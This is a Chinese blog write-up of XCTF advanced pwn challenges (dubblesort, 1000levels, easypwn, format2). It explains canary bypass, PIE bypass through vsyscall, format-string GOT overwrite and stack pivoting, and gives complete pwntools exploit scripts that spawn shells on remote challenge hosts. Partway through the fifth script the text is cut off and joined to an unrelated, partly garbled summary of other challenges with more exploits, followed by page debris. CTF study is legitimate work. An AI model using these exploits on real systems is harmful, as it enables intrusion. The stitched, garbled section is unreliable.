攻防世界 Pwn 进阶 第二页

本文汇总了Pwn进阶中的栈漏洞、格式化字符串漏洞、栈迁移、PIE绕过、RET2libc等技巧,重点讲解了非栈上格式化字符串漏洞和利用_I_O_FILE结构体的攻击。通过实例演示和学习心得,帮助读者巩固基础知识和提高实战能力。

00

这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解。

为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆。

攻防世界 Pwn 新手

攻防世界 Pwn 进阶 第一页

栈漏洞总结
这个要重点关注一下,之前只学过里面的一部分,剩下的在这第二页很多都有一个体现。

格式化字符串漏洞归纳
这个里面栈上的都见过,下面刚好有一个非栈上的。

刚好之前做了总结,下面就刚好有实例。
真是妙蛙种子吃了妙脆角进了米奇妙妙屋妙到家了。

01 dubblesort

在这里插入图片描述一片绿

主要也是从缓冲区找地址。

用到了 read函数的缓存区有没有被清空掉 scanf的长度没有限制 还有 scanf函数在%x%u%d下对±输入的处理

我用的是本地的libc库。

在这里插入图片描述buf里面说不定有数据。
在这里插入图片描述
在这里插入图片描述然后就会有这个。

在这里插入图片描述然后就去看buf里面都有些啥。

在这里插入图片描述然后你就那里面随便泄露一个地址就行,泄露出来的地址是libc里面一个段的地址,它到libc头偏移是不变的,所以你可以先通过某次动调计算出这个偏移,然后之后脚本中泄露出这个地址之后直接减去偏移就会得到libc基地址。

然后就没啥了,就通过%u,输入+来绕过canary,然后ROP,ret2libc。
绕过canary就是scanf("%u",&a)也可以是%x,%d,输入+、-的时候就会跳过输入,可以自己拿C语言试试。

from pwn import*

r = process('./dubblesort')

context.log_level = "debug"


libc = ELF('/lib/i386-linux-gnu/libc.so.6')
off = 0x31cb9
payload = 'a' * 0xc
#gdb.attach(r, 'b read')
r.recvuntil("name :")
r.send(payload)

r.recvuntil(payload)

aaa = u32(r.recv(4))
libc_base = aaa - off
print hex(aaa)
print hex(libc_base)
system_addr = libc_base + libc.symbols['system']
print hex(system_addr)
bin_addr = libc_base + libc.search("/bin/sh").next()
print hex(bin_addr)
one_addr=libc_base+0x3ac6c
sh_addr=libc_base+0x17eaae

r.sendlineafter('sort :',str(35))
for i in range(0, 24):
    r.sendlineafter('number :',str(0))

r.sendlineafter('number :','+')
for i in range(0, 9):
    r.sendlineafter("number :",str(system_addr))

r.sendlineafter('number :',str(bin_addr))

r.recvuntil("Result :")
#sleep(1)
r.interactive()

这个是我学习时候本地调试的脚本,打远程的话看下面的wp。
在这里插入图片描述这个地方是我对本地libc的查看。

在这里插入图片描述
在最后下了个断。
在这里插入图片描述跑到这个地方程序就基本上是通了,但是我本地是没过的,这就又是另外一个问题了。

在这里插入图片描述libc换好
然后就没啥问题了。

大佬wp

02 1000levels

hijackGOT PIE绕过
PIE一篇过

查一波保护。

RELRO没有全开,想到可以hijackGOT,但是开了PIE,这就是这道题的难点。

这题其实说PIE是难点,我倒是觉得难就难在对那个hint函数的利用,确实那种需要你去看hint函数反汇编代码,去看go函数的反汇编代码对system函数的地址进行利用确实没想到,这是这个题的第一个难点。
PIE是这个题的第二个难点,难在找到system函数地址,找到溢出点,但是因为栈帧不一样,溢出不了,无法确定内存里面的具体地址,所以引入了vsyscall。用一种叫ret滑行的技术,说的接地气点就是一直ret,然后滑到system函数的地址,然后又因为缺参数,利用程序里的相加的那个机制,加上了从system到execve函数的偏移,最终拿到了shell,说白了就是通过partial write绕过PIE。

在这里插入图片描述
execve的地址通过one_gadget 来获得。

在这里插入图片描述
vsyscall地址通过gab来获得,不过一般vsyscall都是这个地址吧。

在这里插入图片描述
我刚开始真没看出来这里有个循环……

exp

# -*- coding: utf-8 -*-

from pwn import*
r = remote("220.249.52.133",46140)
#r = process("./100levels")
context.log_level = "debug"

libc = ELF('./libc.so')

execve_addr = 0x4526a
system_addr = libc.symbols['system']
offset_addr = execve_addr - system_addr
vsyscall = 0xffffffffff600000

r.sendlineafter("Choice:",'2')
r.sendlineafter("Choice:",'1')
r.sendlineafter("How many levels?",'0')
r.sendlinelafter('Any more?\n',str(offset_addr))
# 这里要注意用str()对其进行转换
  
for i in range(0,99):  
   r.recvuntil('Question: ')  
   a = int(r.recvuntil(' '))  
   r.recvuntil('* ')  
   b = int(r.recvuntil(' '))  
   r.sendlineafter('Answer:',str(a*b))  
  
#要注意这个循环里面对a跟b的处理  
payload = 'a'*0x38 + p64(vsyscall)*3  
  
r.sendafter('Answer:',payload)  
#这个地方要注意啊
#send跟sendline终究不能用,不能瞎写,这里的话sendline会多送一个'\n',
#会覆盖一个字节的system地址,导致exp出错。
r.interactive() 

参考wp1
参考wp2

03 easypwn

snprintf漏洞 栈溢出 hijackGOT

在这里插入图片描述canary nx都开了
RELRO部分开启

科普一波
开启RELRO

在前面描述的漏洞攻击中曾多次引入了GOT覆盖方法,GOT覆盖之所以能成功是因为默认编译的应用程序的重定位表段对应数据区域是可写的(如got.plt),这与链接器和加载器的运行机制有关,默认情况下应用程序的导入函数只有在调用时才去执行加载(所谓的懒加载,非内联或显示通过dlxxx指定直接加载),如果让这样的数据区域属性变成只读将大大增加安全性。
RELRO(read only relocation)是一种用于加强对 binary 数据段的保护的技术,大概实现由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO 分为 partial relro 和 full relro。

所以其实你看其他的都开了,而RELRO只开了部分,就想到可以劫持GOT表,就应该开始向着这边靠拢。

snprintf这个函数要好好注意 也是经常出漏洞
通过栈溢出能够利用snprintf漏洞进行hijackGOT拿到shell

首先是对memset这个函数的一个认识
C 库函数 void *memset(void *str, int c, size_t n) 复制字符 c(一个无符号字符)到参数 str 所指向的字符串的前 n 个字符。
C 库函数 int snprintf(char *str, size_t size, const char *format, …) 设将可变参数(…)按照 format 格式化成字符串,并将字符串复制到 str 中,size 为要写入的字符的最大数目,超过 size 会被截断。
在这个题里发现它的指针要是没有指向缓冲区,他就给你直接开一个缓冲区 真牛逼

有两个函数
LOWORD(v3) = ‘s%’;
BYTE2(v3) = 0;
(*((_BYTE*)v3+2)) = 0
LOWORD()得到一个32bit数的低16bit
HIWORD()得到一个32bit数的高16bit
LOBYTE()得到一个16bit数最低(最右边)那个字节
HIBYTE()得到一个16bit数最高(最左边)那个字节

IDA逆向宏定义

当能泄露地址的时候,很多时候,想泄露个libc,就得蒙它在哪
一般都是会发现
它在栈里面
或者在read函数这种没有初始化的缓冲区里
新技能get√
但是怎样去找这个地址是要很多技巧的

比如这个题,其实我感觉它最难的地方在泄露libc的地址。
在这里插入图片描述
你看它首先是把v3的地方变成了一个%s,其实那个地方原本是一串神秘数字,需要你变一下字符串。
然后计算偏移,构造payload。
‘a’ * 0x3E8 + ‘bb%397$p’
3E8是通过计算从v2到v3的距离,后面的bb那个就是用来覆盖v3的,之所以先来个bb,是为了覆盖那里的%s的,然后就是怎样计算偏移是397。

研究方法颇为曲折,但最后我还是搞懂了。
首先先确定snprintf的偏移
两种方法

第一种是可以通过输入-%p-%p这种东西将偏移给试出来。
先用gdb 的 cyclic 生成一个超长字符串,我的gdb不知道为啥cyclic不能用,就只能通过python来完成这件事。
在这里插入图片描述
一般的printf函数我们只需要
在这里插入图片描述因为栈顶的值就是aaaaaaaa,直接确定偏移是6,而且printf函数在64位的情况下偏移都是6,前几个是那六个寄存器里面的后五个,rsi,rdx,rcx,r8, r9。

在这里插入图片描述
这个它为啥要压栈我也不是很清楚,图里面rsp是因为已经进入snprintf函数了,不是main函数栈帧顶,所以想知道snprintf的偏移就得通过gdb来调。

第四个就是栈顶的地址,所以偏移是4。

在这里插入图片描述
然后为什么是397
在这里插入图片描述你看咱要的地址在18a那个地方,0x18a就是394,第一个是偏移为4的地方,所以偏移397。

然后发现,偏移为1的值是rcx,有意思。

在这里插入图片描述exp

from pwn import*
context.log_level = "debug"
r = remote("220.249.52.133", 43224)
elf = ELF("./pwn1")
libc = ELF("./libc.so.6")

def echo(payload):
    r.sendlineafter("Input Your Code:\n",'1')
    r.sendlineafter("Welcome To WHCTF2017:\n", payload)

def setname(name):
    r.sendlineafter("Input Your Code:\n",'2')
    r.sendlineafter("Input Your Name:\n", name)

setname('1') 
#这句话是让延迟绑定机制跑一次让地址进入GOT表
padding_num = 0x7f8 - 0x410
payload = 'a' * padding_num + 'bb%397$p'
echo(payload)
r.recvuntil("0x")
'''
__libc_main_addr = u64(r.recv(6).ljust(8,'\x00'))
libc_base = (__libc_main_addr - 0xEB) - libc.symbols['__libc_start_main']
'''
'''
我第一次写的时候一直报错,然后发现是我这两个接受地址的句子写的有问题,仔细研究之后发现
'''
main_return = int(r.recvuntil('\n').strip(), 16)
libc_base = (main_return - 0xEB) - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
free_addr = libc_base + libc.symbols['free']
print system_addr
print libc_base
print system_addr - libc_base
print system_addr & 0xffff
payload = 'a' * padding_num + 'bb%396$p'
echo(payload)
r.recvuntil("0x")
#init_addr = u64(r.recv(6).ljust(8,'\x00'))
init_addr = int(r.recvuntil('\n').strip(), 16)
code_base = init_addr - 0xda0
free_got = code_base + elf.got['free']

num = (system_addr & 0xFFFF) - padding_num - 0x16

print 'num = ' + str(num)

payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got)
echo(payload)
num = ((system_addr >> 16) & 0xFFFF) - padding_num - 0x16

payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got + 2)
echo(payload)

setname('/bin/sh')
r.interactive()

在这里插入图片描述它还藏了一手。

这就写的挺好啊

这篇也非常棒

04 format2

在这里插入图片描述

栈迁移的两种作用之一:栈溢出太小,进行栈迁移从而能够写入更多shellcode,进行更多操作。

栈迁移一篇搞定

有个陌生的函数。

C 库函数 void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 复制 n 个字节到存储区 str1。

在这里插入图片描述
这里的base64函数的话其实还是建议记住怎么用就好,没必要去分析里面的过程。

在这里插入图片描述
这一部分是这个题的重点,首先是看它第一个函数又把input往v4那里复制了一下,要注意的是这个函数本身就是有问题的,容易发生溢出,然后看一下栈,果然溢出,又注意到下面的能通过后门函数的条件是s2加密与那一串相比,发现s2的地方啥也不是,所以只能栈迁移。然后前面有一个输入长度的限制,只能覆盖ebp……

这……这不就逼着你用栈迁移??????

exp

from pwn import*
import base64
context.log_level = "debug"
r = remote("220.249.52.133",50893)

system_addr = 0x8049284
#注意  这个system的地址要写system前一句,就是把shellcode加上
input_addr = 0x811eb40

payload = base64.b64encode('a' * 4 + p32(system_addr) + p32(input_addr)) 
# 这块关于base64库的运用要格外注意一下。

r.sendlineafter('Authenticate : ',payload)

r.interactive()

这个是爆破

exp

#coding:utf8 
from pwn import*
from LibcSearcher import*
context.log_level = "debug"
for i in range(0x100):
    try: 
        sh = remote('220.249.52.134',39955)
        elf = ELF('./easyfmt')  
        printf_got = elf.got['printf']  
        read_got = elf.got['read']  
        exit_got = elf.got['exit']  
        print(
攻防世界平台中部分pwn题目及解题方法如下: - **签到题**:这是一道简单的题目,无需额外操作,直接可获得shell并拿到flag。使用Python的`pwn`库编写代码,通过`remote`函数连接到指定的IP和端口,使用`interactive`函数与目标交互,最后关闭连接。示例代码如下: ```python from pwn import * r = remote("111.198.29.45", 59457) r.interactive() r.close() ``` [^1] - **利用printf返回字符个数特性的题目**:思路是利用`printf`返回字符个数的特性,把`pwnme`改成8。构造的`payload`包含`pwnme`的地址、填充字符和格式化字符串`%10$n`。通过`remote`函数连接目标,依次接收提示信息并发送相应内容,最后使用`interactive`函数与目标交互。示例代码如下: ```python from pwn import * pwnme_addr = 0x804A068 payload = p32(pwnme_addr) + 'a'*4 + '%10$n' r = remote('111.200.241.244', 55843) r.recvuntil('name:') r.sendline('233') r.recvuntil('please:') r.sendline(payload) r.interactive() ``` [^2] - **[GFSJ0469] string题目**:解题过程中使用IDA工具分析程序,将其插在第13行和第14行中间,获取`v4[0]`和`v4[1]`的地址,IDA吸收字符形成剑纹辅助解题 [^3]。 - **pwn - 200题目**: - **leak基本构造思路**:构造`leak`函数,其基本构造为112个`A`加上`write_plt`、漏洞存在函数的地址、`write`的第一个参数、`leak`函数的参数(给`DyELF`使用)和`write`的参数(打印8位地址使用)。通过`send`函数发送`payload`,接收数据并返回。使用`DynELF`查找`system`函数地址。示例代码如下: ```python def leak(address): payload = 'A'*junk + p32(write_plt) + p32(func_addr) + p32(1) + p32(address) + p32(4) r.send(payload) data = r.recv(4) print(data) return data dyn = DynELF(leak, elf=ELF('./pwn200')) sys_addr = dyn.lookup('system', libc) print('system address:', hex(sys_addr)) ``` [^4] - **leek出write地址返回main的解题方法**:先leek出`write`地址,返回`main`,计算偏移找到`system`和`/bin/sh`的位置以获得shell。使用`pwn`和`LibcSearcher`库,通过`remote`函数连接目标,构造不同的`payload`发送,接收数据并进行相应处理。示例代码如下: ```python from pwn import * from LibcSearcher import * p = remote("111.200.241.244", 33327) elf = ELF('./pwn') write_got = elf.got['write'] write_plt = elf.plt['write'] main_addr = 0x080484BE payload = 'a' * (0x6c + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(8) p.recvline() p.sendline(payload) write_addr = u32(p.recv(4)) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') payload = 'a' * (0x6c + 0x4) + p32(system_addr) + 'junk' + p32(binsh) p.sendline(payload) p.interactive() ``` [^5]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值